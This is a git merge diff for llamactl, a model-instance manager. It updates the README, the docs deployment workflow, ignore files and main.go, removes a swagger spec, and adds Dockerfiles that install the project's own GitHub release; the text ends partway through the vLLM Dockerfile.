Merge pull request #74 from lordmathis/refactor/health-check

refactor: Improve frontend health check

.dockerignore

@@ -0,0 +1,45 @@
+# Git and version control
+.git/
+.gitignore
+
+# Documentation
+*.md
+docs/
+
+# Development files
+.vscode/
+.idea/
+
+# Build artifacts
+webui/node_modules/
+webui/dist/
+webui/.next/
+*.log
+*.tmp
+
+# Data directories
+data/
+models/
+logs/
+
+# Test files
+*_test.go
+**/*_test.go
+
+# CI/CD
+.github/
+
+# Local configuration
+llamactl.yaml
+config.yaml
+.env
+.env.local
+
+# OS files
+.DS_Store
+Thumbs.db
+
+# Backup files
+*.bak
+*.backup
+*~

.github/workflows/docs.yaml

@@ -0,0 +1,103 @@
+name: User Docs
+
+on:
+  push:
+    branches: [ main ]
+    tags: [ 'v*' ]
+  pull_request:
+    branches: [ main ]
+    paths:
+      - 'docs/**'
+      - 'mkdocs.yml'
+      - 'docs-requirements.txt'
+
+permissions:
+  contents: write
+  pages: write
+  id-token: write
+
+concurrency:
+  group: "pages"
+  cancel-in-progress: false
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Setup Python
+        uses: actions/setup-python@v4
+        with:
+          python-version: '3.11'
+
+      - name: Install dependencies
+        run: |
+          pip install -r docs-requirements.txt
+
+      - name: Build documentation
+        run: |
+          mkdocs build --strict
+
+  deploy-dev:
+    runs-on: ubuntu-latest
+    if: github.ref == 'refs/heads/main' && github.event_name == 'push'
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Setup Python
+        uses: actions/setup-python@v4
+        with:
+          python-version: '3.11'
+
+      - name: Install dependencies
+        run: |
+          pip install -r docs-requirements.txt
+
+      - name: Configure Git
+        run: |
+          git config --global user.name "${{ github.actor }}"
+          git config --global user.email "${{ github.actor }}@users.noreply.github.com"
+
+      - name: Deploy development version
+        run: |
+          mike deploy --push --update-aliases dev latest
+          # Set dev as default if no default exists
+          if ! mike list | grep -q "default"; then
+            mike set-default --push dev
+          fi
+
+  deploy-release:
+    runs-on: ubuntu-latest
+    if: startsWith(github.ref, 'refs/tags/v')
+    steps:
+      - name: Checkout
+        uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Setup Python
+        uses: actions/setup-python@v4
+        with:
+          python-version: '3.11'
+
+      - name: Install dependencies
+        run: |
+          pip install -r docs-requirements.txt
+
+      - name: Configure Git
+        run: |
+          git config --global user.name "${{ github.actor }}"
+          git config --global user.email "${{ github.actor }}@users.noreply.github.com"
+
+      - name: Deploy release version
+        run: |
+          VERSION=${GITHUB_REF#refs/tags/}
+          mike deploy --push --update-aliases $VERSION stable
+          mike set-default --push stable

.github/workflows/docs.yml

@@ -1,65 +0,0 @@
-name: Build and Deploy Documentation
-
-on:
-  push:
-    branches: [ main ]
-    paths:
-      - 'docs/**'
-      - 'mkdocs.yml'
-      - 'docs-requirements.txt'
-      - '.github/workflows/docs.yml'
-  pull_request:
-    branches: [ main ]
-    paths:
-      - 'docs/**'
-      - 'mkdocs.yml'
-      - 'docs-requirements.txt'
-
-permissions:
-  contents: read
-  pages: write
-  id-token: write
-
-concurrency:
-  group: "pages"
-  cancel-in-progress: false
-
-jobs:
-  build:
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout
-        uses: actions/checkout@v4
-        with:
-          fetch-depth: 0  # Needed for git-revision-date-localized plugin
-
-      - name: Setup Python
-        uses: actions/setup-python@v4
-        with:
-          python-version: '3.11'
-
-      - name: Install dependencies
-        run: |
-          pip install -r docs-requirements.txt
-
-      - name: Build documentation
-        run: |
-          mkdocs build --strict
-
-      - name: Upload documentation artifact
-        if: github.ref == 'refs/heads/main'
-        uses: actions/upload-pages-artifact@v3
-        with:
-          path: ./site
-
-  deploy:
-    if: github.ref == 'refs/heads/main'
-    environment:
-      name: github-pages
-      url: ${{ steps.deployment.outputs.page_url }}
-    runs-on: ubuntu-latest
-    needs: build
-    steps:
-      - name: Deploy to GitHub Pages
-        id: deployment
-        uses: actions/deploy-pages@v4

.gitignore

@@ -32,4 +32,14 @@ go.work.sum
 # .vscode/
 
 node_modules/
-dist/
+dist/
+
+__pycache__/
+
+site/
+
+# Dev config
+llamactl.dev.yaml
+
+# Debug files
+__debug*

.vscode/launch.json

@@ -12,7 +12,7 @@
             "program": "${workspaceFolder}/cmd/server/main.go",
             "env": {
                 "GO_ENV": "development",
-                "LLAMACTL_REQUIRE_MANAGEMENT_AUTH": "false"
+                "LLAMACTL_CONFIG_PATH": "${workspaceFolder}/llamactl.dev.yaml"
             },
         }
     ]

CONTRIBUTING.md

@@ -86,7 +86,7 @@ go install github.com/swaggo/swag/cmd/swag@latest
 
 # Update Swagger comments in pkg/server/handlers.go
 # Then regenerate docs
-swag init -g cmd/server/main.go -o apidocs
+swag init -g cmd/server/main.go
 ```
 
 ## Pull Request Guidelines

README.md

@@ -1,61 +1,91 @@
 # llamactl
 
-![Build and Release](https://github.com/lordmathis/llamactl/actions/workflows/release.yaml/badge.svg) ![Go Tests](https://github.com/lordmathis/llamactl/actions/workflows/go_test.yaml/badge.svg) ![WebUI Tests](https://github.com/lordmathis/llamactl/actions/workflows/webui_test.yaml/badge.svg)
+![Build and Release](https://github.com/lordmathis/llamactl/actions/workflows/release.yaml/badge.svg) ![Go Tests](https://github.com/lordmathis/llamactl/actions/workflows/go_test.yaml/badge.svg) ![WebUI Tests](https://github.com/lordmathis/llamactl/actions/workflows/webui_test.yaml/badge.svg) ![User Docs](https://github.com/lordmathis/llamactl/actions/workflows/docs.yaml/badge.svg)
 
-**Management server and proxy for multiple llama.cpp instances with OpenAI-compatible API routing.**
+**Unified management and routing for llama.cpp, MLX and vLLM models with web dashboard.**
 
-## Why llamactl?
-
-🚀 **Multiple Model Serving**: Run different models simultaneously (7B for speed, 70B for quality)  
-🔗 **OpenAI API Compatible**: Drop-in replacement - route requests by model name  
-🌐 **Web Dashboard**: Modern React UI for visual management (unlike CLI-only tools)  
-🔐 **API Key Authentication**: Separate keys for management vs inference access  
-📊 **Instance Monitoring**: Health checks, auto-restart, log management  
-⚡ **Smart Resource Management**: Idle timeout, LRU eviction, and configurable instance limits  
-💡 **On-Demand Instance Start**: Automatically launch instances upon receiving OpenAI-compatible API requests  
-💾 **State Persistence**: Ensure instances remain intact across server restarts  
+📚 **[Full Documentation →](https://llamactl.org)**
 
 ![Dashboard Screenshot](docs/images/dashboard.png)
 
-**Choose llamactl if**: You need authentication, health monitoring, auto-restart, and centralized management of multiple llama-server instances  
-**Choose Ollama if**: You want the simplest setup with strong community ecosystem and third-party integrations  
-**Choose LM Studio if**: You prefer a polished desktop GUI experience with easy model management
+## Features
+
+**🚀 Easy Model Management**
+- **Multiple Models Simultaneously**: Run different models at the same time (7B for speed, 70B for quality)
+- **Smart Resource Management**: Automatic idle timeout, LRU eviction, and configurable instance limits
+- **Web Dashboard**: Modern React UI for managing instances, monitoring health, and viewing logs
+
+**🔗 Flexible Integration**
+- **OpenAI API Compatible**: Drop-in replacement - route requests to different models by instance name
+- **Multi-Backend Support**: Native support for llama.cpp, MLX (Apple Silicon optimized), and vLLM
+- **Docker Ready**: Run backends in containers with full GPU support
+
+**🌐 Distributed Deployment**
+- **Remote Instances**: Deploy instances on remote hosts
+- **Central Management**: Manage everything from a single dashboard with automatic routing  
 
 ## Quick Start
 
+1. Install a backend (llama.cpp, MLX, or vLLM) - see [Prerequisites](#prerequisites) below
+2. [Download llamactl](#installation) for your platform
+3. Run `llamactl` and open http://localhost:8080
+4. Create an instance and start inferencing!
+
+## Prerequisites
+
+### Backend Dependencies
+
+**For llama.cpp backend:**
+You need `llama-server` from [llama.cpp](https://github.com/ggml-org/llama.cpp) installed:
+
 ```bash
-# 1. Install llama-server (one-time setup)
-# See: https://github.com/ggml-org/llama.cpp#quick-start
+# Homebrew (macOS)
+brew install llama.cpp
 
-# 2. Download and run llamactl
-LATEST_VERSION=$(curl -s https://api.github.com/repos/lordmathis/llamactl/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
-curl -L https://github.com/lordmathis/llamactl/releases/download/${LATEST_VERSION}/llamactl-${LATEST_VERSION}-linux-amd64.tar.gz | tar -xz
-sudo mv llamactl /usr/local/bin/
-
-# 3. Start the server
-llamactl
-# Access dashboard at http://localhost:8080
+# Or build from source - see llama.cpp docs
+# Or use Docker - no local installation required
 ```
 
-## Usage
+**For MLX backend (macOS only):**
+You need MLX-LM installed:
 
-### Create and manage instances via web dashboard:
-1. Open http://localhost:8080
-2. Click "Create Instance"
-3. Set model path and GPU layers
-4. Start or stop the instance
-
-### Or use the REST API:
 ```bash
-# Create instance
-curl -X POST localhost:8080/api/v1/instances/my-7b-model \
-  -H "Authorization: Bearer your-key" \
-  -d '{"model": "/path/to/model.gguf", "gpu_layers": 32}'
+# Install via pip (requires Python 3.8+)
+pip install mlx-lm
 
-# Use with OpenAI SDK
-curl -X POST localhost:8080/v1/chat/completions \
-  -H "Authorization: Bearer your-key" \
-  -d '{"model": "my-7b-model", "messages": [{"role": "user", "content": "Hello!"}]}'
+# Or in a virtual environment (recommended)
+python -m venv mlx-env
+source mlx-env/bin/activate
+pip install mlx-lm
+```
+
+**For vLLM backend:**
+You need vLLM installed:
+
+```bash
+# Install via pip (requires Python 3.8+, GPU required)
+pip install vllm
+
+# Or in a virtual environment (recommended)
+python -m venv vllm-env
+source vllm-env/bin/activate
+pip install vllm
+
+# Or use Docker - no local installation required
+```
+
+### Docker Support
+
+llamactl can run backends in Docker containers, eliminating the need for local backend installation:
+
+```yaml
+backends:
+  llama-cpp:
+    docker:
+      enabled: true
+  vllm:
+    docker:
+      enabled: true
 ```
 
 ## Installation
@@ -74,7 +104,27 @@ sudo mv llamactl /usr/local/bin/
 # Windows - Download from releases page
 ```
 
-### Option 2: Build from Source
+### Option 2: Docker (No local backend installation required)
+
+```bash
+# Clone repository and build Docker images
+git clone https://github.com/lordmathis/llamactl.git
+cd llamactl
+mkdir -p data/llamacpp data/vllm models
+
+# Build and start llamactl with llama.cpp CUDA backend
+docker-compose -f docker/docker-compose.yml up llamactl-llamacpp -d
+
+# Build and start llamactl with vLLM CUDA backend
+docker-compose -f docker/docker-compose.yml up llamactl-vllm -d
+
+# Build from source using multi-stage build
+docker build -f docker/Dockerfile.source -t llamactl:source .
+```
+
+**Note:** Dockerfiles are configured for CUDA. Adapt base images for other platforms (CPU, ROCm, etc.).
+
+### Option 3: Build from Source
 Requires Go 1.24+ and Node.js 22+
 ```bash
 git clone https://github.com/lordmathis/llamactl.git
@@ -83,17 +133,13 @@ cd webui && npm ci && npm run build && cd ..
 go build -o llamactl ./cmd/server
 ```
 
-## Prerequisites
+## Usage
 
-You need `llama-server` from [llama.cpp](https://github.com/ggml-org/llama.cpp) installed:
-
-```bash
-# Quick install methods:
-# Homebrew (macOS)
-brew install llama.cpp
-
-# Or build from source - see llama.cpp docs
-```
+1. Open http://localhost:8080
+2. Click "Create Instance"
+3. Choose backend type (llama.cpp, MLX, or vLLM)
+4. Configure your model and options (ports and API keys are auto-assigned)
+5. Start the instance and use it with any OpenAI-compatible client
 
 ## Configuration
 
@@ -104,8 +150,35 @@ server:
   host: "0.0.0.0"                # Server host to bind to
   port: 8080                     # Server port to bind to
   allowed_origins: ["*"]         # Allowed CORS origins (default: all)
+  allowed_headers: ["*"]         # Allowed CORS headers (default: all)
   enable_swagger: false          # Enable Swagger UI for API docs
 
+backends:
+  llama-cpp:
+    command: "llama-server"
+    args: []
+    environment: {}               # Environment variables for the backend process
+    docker:
+      enabled: false
+      image: "ghcr.io/ggml-org/llama.cpp:server"
+      args: ["run", "--rm", "--network", "host", "--gpus", "all", "-v", "~/.local/share/llamactl/llama.cpp:/root/.cache/llama.cpp"]
+      environment: {}             # Environment variables for the container
+
+  vllm:
+    command: "vllm"
+    args: ["serve"]
+    environment: {}               # Environment variables for the backend process
+    docker:
+      enabled: false
+      image: "vllm/vllm-openai:latest"
+      args: ["run", "--rm", "--network", "host", "--gpus", "all", "--shm-size", "1g", "-v", "~/.local/share/llamactl/huggingface:/root/.cache/huggingface"]
+      environment: {}             # Environment variables for the container
+
+  mlx:
+    command: "mlx_lm.server"
+    args: []
+    environment: {}               # Environment variables for the backend process
+
 instances:
   port_range: [8000, 9000]       # Port range for instances
   data_dir: ~/.local/share/llamactl         # Data directory (platform-specific, see below)
@@ -115,7 +188,6 @@ instances:
   max_instances: -1              # Max instances (-1 = unlimited)
   max_running_instances: -1      # Max running instances (-1 = unlimited)
   enable_lru_eviction: true      # Enable LRU eviction for idle instances
-  llama_executable: llama-server # Path to llama-server executable
   default_auto_restart: true     # Auto-restart new instances by default
   default_max_restarts: 3        # Max restarts for new instances
   default_restart_delay: 5       # Restart delay (seconds) for new instances

apidocs/swagger.yaml

@@ -1,822 +0,0 @@
-basePath: /api/v1
-definitions:
-  instance.CreateInstanceOptions:
-    properties:
-      alias:
-        type: string
-      api_key:
-        type: string
-      api_key_file:
-        type: string
-      auto_restart:
-        description: Auto restart
-        type: boolean
-      batch_size:
-        type: integer
-      cache_reuse:
-        type: integer
-      cache_type_k:
-        type: string
-      cache_type_k_draft:
-        type: string
-      cache_type_v:
-        type: string
-      cache_type_v_draft:
-        type: string
-      chat_template:
-        type: string
-      chat_template_file:
-        type: string
-      chat_template_kwargs:
-        type: string
-      check_tensors:
-        type: boolean
-      cont_batching:
-        type: boolean
-      control_vector:
-        items:
-          type: string
-        type: array
-      control_vector_layer_range:
-        type: string
-      control_vector_scaled:
-        items:
-          type: string
-        type: array
-      cpu_mask:
-        type: string
-      cpu_mask_batch:
-        type: string
-      cpu_range:
-        type: string
-      cpu_range_batch:
-        type: string
-      cpu_strict:
-        type: integer
-      cpu_strict_batch:
-        type: integer
-      ctx_size:
-        type: integer
-      ctx_size_draft:
-        type: integer
-      defrag_thold:
-        type: number
-      device:
-        type: string
-      device_draft:
-        type: string
-      draft_max:
-        type: integer
-      draft_min:
-        type: integer
-      draft_p_min:
-        type: number
-      dry_allowed_length:
-        type: integer
-      dry_base:
-        type: number
-      dry_multiplier:
-        type: number
-      dry_penalty_last_n:
-        type: integer
-      dry_sequence_breaker:
-        items:
-          type: string
-        type: array
-      dump_kv_cache:
-        type: boolean
-      dynatemp_exp:
-        type: number
-      dynatemp_range:
-        type: number
-      embd_bge_small_en_default:
-        description: Default model params
-        type: boolean
-      embd_e5_small_en_default:
-        type: boolean
-      embd_gte_small_default:
-        type: boolean
-      embedding:
-        type: boolean
-      escape:
-        type: boolean
-      fim_qwen_1_5b_default:
-        type: boolean
-      fim_qwen_3b_default:
-        type: boolean
-      fim_qwen_7b_default:
-        type: boolean
-      fim_qwen_7b_spec:
-        type: boolean
-      fim_qwen_14b_spec:
-        type: boolean
-      flash_attn:
-        type: boolean
-      frequency_penalty:
-        type: number
-      gpu_layers:
-        type: integer
-      gpu_layers_draft:
-        type: integer
-      grammar:
-        type: string
-      grammar_file:
-        type: string
-      hf_file:
-        type: string
-      hf_file_v:
-        type: string
-      hf_repo:
-        type: string
-      hf_repo_draft:
-        type: string
-      hf_repo_v:
-        type: string
-      hf_token:
-        type: string
-      host:
-        type: string
-      idle_timeout:
-        description: Idle timeout
-        type: integer
-      ignore_eos:
-        type: boolean
-      jinja:
-        type: boolean
-      json_schema:
-        type: string
-      json_schema_file:
-        type: string
-      keep:
-        type: integer
-      log_colors:
-        type: boolean
-      log_disable:
-        type: boolean
-      log_file:
-        type: string
-      log_prefix:
-        type: boolean
-      log_timestamps:
-        type: boolean
-      logit_bias:
-        items:
-          type: string
-        type: array
-      lora:
-        items:
-          type: string
-        type: array
-      lora_init_without_apply:
-        type: boolean
-      lora_scaled:
-        items:
-          type: string
-        type: array
-      main_gpu:
-        type: integer
-      max_restarts:
-        type: integer
-      metrics:
-        type: boolean
-      min_p:
-        type: number
-      mirostat:
-        type: integer
-      mirostat_ent:
-        type: number
-      mirostat_lr:
-        type: number
-      mlock:
-        type: boolean
-      mmproj:
-        type: string
-      mmproj_url:
-        type: string
-      model:
-        type: string
-      model_draft:
-        type: string
-      model_url:
-        type: string
-      model_vocoder:
-        description: Audio/TTS params
-        type: string
-      no_cont_batching:
-        type: boolean
-      no_context_shift:
-        description: Example-specific params
-        type: boolean
-      no_escape:
-        type: boolean
-      no_kv_offload:
-        type: boolean
-      no_mmap:
-        type: boolean
-      no_mmproj:
-        type: boolean
-      no_mmproj_offload:
-        type: boolean
-      no_perf:
-        type: boolean
-      no_prefill_assistant:
-        type: boolean
-      no_slots:
-        type: boolean
-      no_warmup:
-        type: boolean
-      no_webui:
-        type: boolean
-      numa:
-        type: string
-      on_demand_start:
-        description: On demand start
-        type: boolean
-      override_kv:
-        items:
-          type: string
-        type: array
-      override_tensor:
-        items:
-          type: string
-        type: array
-      parallel:
-        type: integer
-      path:
-        type: string
-      poll:
-        type: integer
-      poll_batch:
-        type: integer
-      pooling:
-        type: string
-      port:
-        type: integer
-      predict:
-        type: integer
-      presence_penalty:
-        type: number
-      prio:
-        type: integer
-      prio_batch:
-        type: integer
-      props:
-        type: boolean
-      reasoning_budget:
-        type: integer
-      reasoning_format:
-        type: string
-      repeat_last_n:
-        type: integer
-      repeat_penalty:
-        type: number
-      reranking:
-        type: boolean
-      restart_delay:
-        type: integer
-      rope_freq_base:
-        type: number
-      rope_freq_scale:
-        type: number
-      rope_scale:
-        type: number
-      rope_scaling:
-        type: string
-      samplers:
-        description: Sampling params
-        type: string
-      sampling_seq:
-        type: string
-      seed:
-        type: integer
-      slot_prompt_similarity:
-        type: number
-      slot_save_path:
-        type: string
-      slots:
-        type: boolean
-      special:
-        type: boolean
-      split_mode:
-        type: string
-      spm_infill:
-        type: boolean
-      ssl_cert_file:
-        type: string
-      ssl_key_file:
-        type: string
-      temp:
-        type: number
-      tensor_split:
-        type: string
-      threads:
-        type: integer
-      threads_batch:
-        type: integer
-      threads_http:
-        type: integer
-      timeout:
-        type: integer
-      top_k:
-        type: integer
-      top_p:
-        type: number
-      tts_use_guide_tokens:
-        type: boolean
-      typical:
-        type: number
-      ubatch_size:
-        type: integer
-      verbose:
-        type: boolean
-      verbose_prompt:
-        description: Common params
-        type: boolean
-      verbosity:
-        type: integer
-      xtc_probability:
-        type: number
-      xtc_threshold:
-        type: number
-      yarn_attn_factor:
-        type: number
-      yarn_beta_fast:
-        type: number
-      yarn_beta_slow:
-        type: number
-      yarn_ext_factor:
-        type: number
-      yarn_orig_ctx:
-        type: integer
-    type: object
-  instance.InstanceStatus:
-    enum:
-    - 0
-    - 1
-    - 2
-    type: integer
-    x-enum-varnames:
-    - Stopped
-    - Running
-    - Failed
-  instance.Process:
-    properties:
-      created:
-        description: Creation time
-        type: integer
-      name:
-        type: string
-      status:
-        allOf:
-        - $ref: '#/definitions/instance.InstanceStatus'
-        description: Status
-    type: object
-  server.OpenAIInstance:
-    properties:
-      created:
-        type: integer
-      id:
-        type: string
-      object:
-        type: string
-      owned_by:
-        type: string
-    type: object
-  server.OpenAIListInstancesResponse:
-    properties:
-      data:
-        items:
-          $ref: '#/definitions/server.OpenAIInstance'
-        type: array
-      object:
-        type: string
-    type: object
-info:
-  contact: {}
-  description: llamactl is a control server for managing Llama Server instances.
-  license:
-    name: MIT License
-    url: https://opensource.org/license/mit/
-  title: llamactl API
-  version: "1.0"
-paths:
-  /instances:
-    get:
-      description: Returns a list of all instances managed by the server
-      responses:
-        "200":
-          description: List of instances
-          schema:
-            items:
-              $ref: '#/definitions/instance.Process'
-            type: array
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: List all instances
-      tags:
-      - instances
-  /instances/{name}:
-    delete:
-      description: Stops and removes a specific instance by name
-      parameters:
-      - description: Instance Name
-        in: path
-        name: name
-        required: true
-        type: string
-      responses:
-        "204":
-          description: No Content
-        "400":
-          description: Invalid name format
-          schema:
-            type: string
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: Delete an instance
-      tags:
-      - instances
-    get:
-      description: Returns the details of a specific instance by name
-      parameters:
-      - description: Instance Name
-        in: path
-        name: name
-        required: true
-        type: string
-      responses:
-        "200":
-          description: Instance details
-          schema:
-            $ref: '#/definitions/instance.Process'
-        "400":
-          description: Invalid name format
-          schema:
-            type: string
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: Get details of a specific instance
-      tags:
-      - instances
-    post:
-      consumes:
-      - application/json
-      description: Creates a new instance with the provided configuration options
-      parameters:
-      - description: Instance Name
-        in: path
-        name: name
-        required: true
-        type: string
-      - description: Instance configuration options
-        in: body
-        name: options
-        required: true
-        schema:
-          $ref: '#/definitions/instance.CreateInstanceOptions'
-      responses:
-        "201":
-          description: Created instance details
-          schema:
-            $ref: '#/definitions/instance.Process'
-        "400":
-          description: Invalid request body
-          schema:
-            type: string
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: Create and start a new instance
-      tags:
-      - instances
-    put:
-      consumes:
-      - application/json
-      description: Updates the configuration of a specific instance by name
-      parameters:
-      - description: Instance Name
-        in: path
-        name: name
-        required: true
-        type: string
-      - description: Instance configuration options
-        in: body
-        name: options
-        required: true
-        schema:
-          $ref: '#/definitions/instance.CreateInstanceOptions'
-      responses:
-        "200":
-          description: Updated instance details
-          schema:
-            $ref: '#/definitions/instance.Process'
-        "400":
-          description: Invalid name format
-          schema:
-            type: string
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: Update an instance's configuration
-      tags:
-      - instances
-  /instances/{name}/logs:
-    get:
-      description: Returns the logs from a specific instance by name with optional
-        line limit
-      parameters:
-      - description: Instance Name
-        in: path
-        name: name
-        required: true
-        type: string
-      - description: 'Number of lines to retrieve (default: all lines)'
-        in: query
-        name: lines
-        type: string
-      responses:
-        "200":
-          description: Instance logs
-          schema:
-            type: string
-        "400":
-          description: Invalid name format or lines parameter
-          schema:
-            type: string
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: Get logs from a specific instance
-      tags:
-      - instances
-  /instances/{name}/proxy:
-    get:
-      description: Forwards HTTP requests to the llama-server instance running on
-        a specific port
-      parameters:
-      - description: Instance Name
-        in: path
-        name: name
-        required: true
-        type: string
-      responses:
-        "200":
-          description: Request successfully proxied to instance
-        "400":
-          description: Invalid name format
-          schema:
-            type: string
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-        "503":
-          description: Instance is not running
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: Proxy requests to a specific instance
-      tags:
-      - instances
-    post:
-      description: Forwards HTTP requests to the llama-server instance running on
-        a specific port
-      parameters:
-      - description: Instance Name
-        in: path
-        name: name
-        required: true
-        type: string
-      responses:
-        "200":
-          description: Request successfully proxied to instance
-        "400":
-          description: Invalid name format
-          schema:
-            type: string
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-        "503":
-          description: Instance is not running
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: Proxy requests to a specific instance
-      tags:
-      - instances
-  /instances/{name}/restart:
-    post:
-      description: Restarts a specific instance by name
-      parameters:
-      - description: Instance Name
-        in: path
-        name: name
-        required: true
-        type: string
-      responses:
-        "200":
-          description: Restarted instance details
-          schema:
-            $ref: '#/definitions/instance.Process'
-        "400":
-          description: Invalid name format
-          schema:
-            type: string
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: Restart a running instance
-      tags:
-      - instances
-  /instances/{name}/start:
-    post:
-      description: Starts a specific instance by name
-      parameters:
-      - description: Instance Name
-        in: path
-        name: name
-        required: true
-        type: string
-      responses:
-        "200":
-          description: Started instance details
-          schema:
-            $ref: '#/definitions/instance.Process'
-        "400":
-          description: Invalid name format
-          schema:
-            type: string
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: Start a stopped instance
-      tags:
-      - instances
-  /instances/{name}/stop:
-    post:
-      description: Stops a specific instance by name
-      parameters:
-      - description: Instance Name
-        in: path
-        name: name
-        required: true
-        type: string
-      responses:
-        "200":
-          description: Stopped instance details
-          schema:
-            $ref: '#/definitions/instance.Process'
-        "400":
-          description: Invalid name format
-          schema:
-            type: string
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: Stop a running instance
-      tags:
-      - instances
-  /server/devices:
-    get:
-      description: Returns a list of available devices for the llama server
-      responses:
-        "200":
-          description: List of devices
-          schema:
-            type: string
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: List available devices for llama server
-      tags:
-      - server
-  /server/help:
-    get:
-      description: Returns the help text for the llama server command
-      responses:
-        "200":
-          description: Help text
-          schema:
-            type: string
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: Get help for llama server
-      tags:
-      - server
-  /server/version:
-    get:
-      description: Returns the version of the llama server command
-      responses:
-        "200":
-          description: Version information
-          schema:
-            type: string
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: Get version of llama server
-      tags:
-      - server
-  /v1/:
-    post:
-      consumes:
-      - application/json
-      description: Handles all POST requests to /v1/*, routing to the appropriate
-        instance based on the request body. Requires API key authentication via the
-        `Authorization` header.
-      responses:
-        "200":
-          description: OpenAI response
-        "400":
-          description: Invalid request body or model name
-          schema:
-            type: string
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: OpenAI-compatible proxy endpoint
-      tags:
-      - openai
-  /v1/models:
-    get:
-      description: Returns a list of instances in a format compatible with OpenAI
-        API
-      responses:
-        "200":
-          description: List of OpenAI-compatible instances
-          schema:
-            $ref: '#/definitions/server.OpenAIListInstancesResponse'
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: List instances in OpenAI-compatible format
-      tags:
-      - openai
-  /version:
-    get:
-      description: Returns the version of the llamactl command
-      responses:
-        "200":
-          description: Version information
-          schema:
-            type: string
-        "500":
-          description: Internal Server Error
-          schema:
-            type: string
-      security:
-      - ApiKeyAuth: []
-      summary: Get llamactl version
-      tags:
-      - version
-swagger: "2.0"

cmd/server/main.go

@@ -22,6 +22,9 @@ var buildTime string = "unknown"
 // @license.name MIT License
 // @license.url https://opensource.org/license/mit/
 // @basePath /api/v1
+// @securityDefinitions.apikey ApiKeyAuth
+// @in header
+// @name X-API-Key
 func main() {
 
 	// --version flag to print the version
@@ -58,7 +61,7 @@ func main() {
 	}
 
 	// Initialize the instance manager
-	instanceManager := manager.NewInstanceManager(cfg.Instances)
+	instanceManager := manager.New(&cfg)
 
 	// Create a new handler with the instance manager
 	handler := server.NewHandler(instanceManager, cfg)

docker/Dockerfile.llamacpp

@@ -0,0 +1,23 @@
+FROM ghcr.io/ggml-org/llama.cpp:server-cuda
+
+# Install curl for downloading llamactl
+RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/*
+
+# Download and install the latest llamactl release
+RUN LATEST_VERSION=$(curl -s https://api.github.com/repos/lordmathis/llamactl/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/') && \
+    curl -L "https://github.com/lordmathis/llamactl/releases/download/${LATEST_VERSION}/llamactl-${LATEST_VERSION}-linux-amd64.tar.gz" | tar -xz && \
+    mv llamactl /usr/local/bin/ && \
+    chmod +x /usr/local/bin/llamactl
+
+# Set working directory
+RUN mkdir -p /data
+WORKDIR /data
+
+# Expose the default llamactl port
+EXPOSE 8080
+
+ENV LLAMACTL_LLAMACPP_COMMAND=/app/llama-server
+ENV LD_LIBRARY_PATH="/app:/usr/local/lib:/usr/lib"
+
+# Set llamactl as the entrypoint
+ENTRYPOINT ["llamactl"]

docker/Dockerfile.source

@@ -0,0 +1,64 @@
+# WebUI build stage
+FROM node:20-alpine AS webui-builder
+
+WORKDIR /webui
+
+# Copy webui package files
+COPY webui/package*.json ./
+
+# Install dependencies
+RUN npm ci
+
+# Copy webui source
+COPY webui/ ./
+
+# Build webui
+RUN npm run build
+
+# Go build stage
+FROM golang:1.24-alpine AS builder
+
+# Install build dependencies
+RUN apk add --no-cache git ca-certificates
+
+# Set working directory
+WORKDIR /build
+
+# Copy go mod files
+COPY go.mod go.sum ./
+
+# Download dependencies
+RUN go mod download
+
+# Copy source code
+COPY cmd/ ./cmd/
+COPY pkg/ ./pkg/
+COPY docs/ ./docs/
+COPY webui/webui.go ./webui/
+
+# Copy built webui from webui-builder
+COPY --from=webui-builder /webui/dist ./webui/dist
+
+# Build the application
+RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -ldflags="-w -s" -o llamactl ./cmd/server
+
+# Final stage
+FROM alpine:latest
+
+# Install runtime dependencies
+RUN apk --no-cache add ca-certificates
+
+# Create data directory
+RUN mkdir -p /data
+
+# Set working directory
+WORKDIR /data
+
+# Copy binary from builder
+COPY --from=builder /build/llamactl /usr/local/bin/llamactl
+
+# Expose the default port
+EXPOSE 8080
+
+# Set llamactl as the entrypoint
+ENTRYPOINT ["llamactl"]

docker/Dockerfile.vllm

@@ -0,0 +1,20 @@
+FROM vllm/vllm-openai:latest
+
+# Install curl for downloading llamactl
+RUN apt-get update && apt-get install -y curl && rm -rf /var/lib/apt/lists/*
+
+# Download and install the latest llamactl release
